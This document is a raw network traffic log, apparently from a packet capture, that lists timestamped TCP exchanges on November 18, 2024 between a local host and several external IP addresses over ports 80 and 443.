Nov 18, 2024 19:04:32.996892929 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.021425009 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.021481037 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.021481037 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.021517992 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.021528959 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.021557093 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.021646976 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.021682024 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.021697044 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.021719933 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.021729946 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.021756887 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.021764994 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.021804094 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.021950006 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.021986961 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.022002935 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.022031069 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.022039890 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.022073984 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.022084951 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.022111893 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.022125006 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.022149086 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.022196054 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.035089970 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:33.035259008 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:33.035291910 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:33.035356998 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:33.040724039 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:33.040760040 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:33.040795088 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:33.040834904 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:33.040870905 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:33.060224056 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.060260057 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.060307980 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.060344934 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.060364962 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.060564995 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.060729027 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.060762882 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.060785055 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.060797930 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.060808897 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.060832977 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.060846090 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.060874939 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.060885906 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.060920954 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.060933113 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.061007977 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.061016083 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.061042070 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.061049938 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.061075926 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.061080933 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.061111927 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.061121941 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.061148882 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.061155081 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.061193943 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.061387062 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.061422110 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.061438084 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.061456919 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.061465979 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.061501026 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.061532021 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.061575890 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.061891079 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.061925888 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.061944008 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.061959982 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.061969995 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.061995983 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.062011003 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.062038898 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.062591076 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.062625885 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.062644958 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.062659025 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.062669039 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.062695026 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.062706947 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.062731028 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.062740088 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.062772036 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.063247919 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.063282967 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.063298941 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.063334942 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.063424110 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.063458920 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.063469887 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.063503027 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.115677118 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.115750074 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.115788937 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.115818024 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.115825891 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.115852118 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.115863085 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.115876913 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.115904093 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.115916014 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.115952969 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.115962982 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.115987062 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.115995884 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.116033077 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.116035938 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.116074085 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.116075039 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.116108894 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.116120100 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.116163015 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.116405964 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.116441011 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.116460085 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.116476059 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.116486073 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.116513014 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.116523027 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.116554976 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.116561890 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.116586924 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.116602898 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.116632938 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.140444040 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.140518904 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.140557051 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.140594006 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.140604973 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.140630960 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.140647888 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.140670061 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.140707016 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.140718937 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.140753031 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.140856028 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.140892982 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.140902042 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.140928030 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.140935898 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.140964985 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.140974045 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.141021967 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.141180038 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.141213894 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.141235113 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.141252041 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.141257048 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.141297102 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.159944057 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:33.160267115 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:33.160367966 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:33.161124945 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:33.161154985 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:33.161350012 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:33.162410021 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:33.162441015 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:33.162477016 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:33.162506104 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:33.162537098 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:33.162585020 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:33.176213026 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:33.176223993 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:33.176318884 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:33.176872969 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:33.176883936 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:33.176923990 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:33.177207947 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.177217960 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.177227974 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.177267075 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.177301884 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.177381039 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.177392006 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.177402973 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.177428007 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.177440882 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.179296970 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.179308891 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.179326057 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.179359913 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.179373026 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.179471016 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.179486036 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.179527998 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.180557966 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.180957079 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.180969000 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.180979967 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.180991888 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.181003094 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.181004047 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.181015968 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.181027889 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.181031942 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.181051016 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.181073904 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.181113005 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.181126118 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.181138039 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.181149960 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.181174040 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.181235075 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.181288958 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.181329012 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.181348085 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.181360006 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.181375027 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.181384087 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.181387901 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.181402922 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.181422949 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.181490898 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.181503057 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.181529999 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.181559086 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.181577921 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.181579113 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.181617022 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.182110071 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.182122946 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.182133913 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.182146072 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.182157040 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.182157993 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.182179928 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.182209015 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.193408012 CET	443	49986	188.114.96.3	192.168.2.5
Nov 18, 2024 19:04:33.193478107 CET	49986	443	192.168.2.5	188.114.96.3
Nov 18, 2024 19:04:33.194786072 CET	49986	443	192.168.2.5	188.114.96.3
Nov 18, 2024 19:04:33.194797993 CET	443	49986	188.114.96.3	192.168.2.5
Nov 18, 2024 19:04:33.195432901 CET	443	49986	188.114.96.3	192.168.2.5
Nov 18, 2024 19:04:33.197721004 CET	49986	443	192.168.2.5	188.114.96.3
Nov 18, 2024 19:04:33.197837114 CET	49986	443	192.168.2.5	188.114.96.3
Nov 18, 2024 19:04:33.197865009 CET	443	49986	188.114.96.3	192.168.2.5
Nov 18, 2024 19:04:33.197912931 CET	49986	443	192.168.2.5	188.114.96.3
Nov 18, 2024 19:04:33.234208107 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.234348059 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.234435081 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.234848976 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.235039949 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.235048056 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.235084057 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.235100985 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.235119104 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.235130072 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.235168934 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.235169888 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.235204935 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.235209942 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.235239983 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.235250950 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.235275030 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.235286951 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.235308886 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.235332012 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.235357046 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.235359907 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.235390902 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.235424042 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.235436916 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.235470057 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.235495090 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.235529900 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.235563993 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.235579967 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.235598087 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.235609055 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.235657930 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.239331961 CET	443	49986	188.114.96.3	192.168.2.5
Nov 18, 2024 19:04:33.259480000 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.259515047 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.259551048 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.259644032 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.259677887 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.259701967 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.259712934 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.259733915 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.259799957 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.259833097 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.259856939 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.259866953 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.259869099 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.259907007 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.259963036 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.259999990 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.260010958 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.260034084 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.260050058 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.260067940 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.260077953 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.260102987 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.260116100 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.260137081 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.260154009 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.260175943 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.280724049 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:33.280895948 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:33.280905962 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:33.280997992 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:33.281034946 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:33.282243967 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:33.282970905 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:33.283130884 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:33.283194065 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:33.284526110 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:33.284687042 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:33.284733057 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:33.293116093 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:33.293217897 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:33.293284893 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:33.302923918 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.302958012 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.302985907 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.302994013 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.303014994 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.303045988 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.303046942 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.303077936 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.303098917 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.303112030 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.303122997 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.303145885 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.303155899 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.303232908 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.303262949 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.303271055 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.303287029 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.303304911 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.303308964 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.303359985 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:33.303375959 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.303407907 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:33.303528070 CET	80	49983	185.215.113.16	192.168.2.5
